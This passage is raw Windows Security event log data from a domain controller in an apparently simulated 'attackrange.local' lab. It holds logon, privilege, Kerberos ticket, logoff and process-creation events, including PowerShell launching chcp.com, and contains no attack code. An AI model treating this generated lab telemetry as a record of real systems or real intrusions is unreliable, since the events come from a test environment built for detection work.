is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249646 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7153 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249645 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7153 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249644 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249643 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249642 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249641 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7125 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249640 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7125 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249639 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE7125 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249638 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=249637 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {31ACEE6B-E789-5BE7-EA20-1B2B6D163273} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=249636 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:48:50 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249635 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE6443 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249726 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE9D62 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249725 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE9D62 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64315 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249724 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE9D62 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249723 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE9CDD - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249722 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE9CDD - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64314 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249721 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE9CDD - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249720 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE9C77 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249719 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE9C77 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64313 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249718 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE9C77 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=249717 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE9BF1 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249716 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0xE9BF1 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64312 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249715 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0xE9BF1 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=249714 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE814E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa34 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd58 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=249713 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE9848 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249712 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0xE9848 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:48:51 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=249711 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {A6E6C3AB-E0E6-13ED-196B-CAA45FC4A838} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such 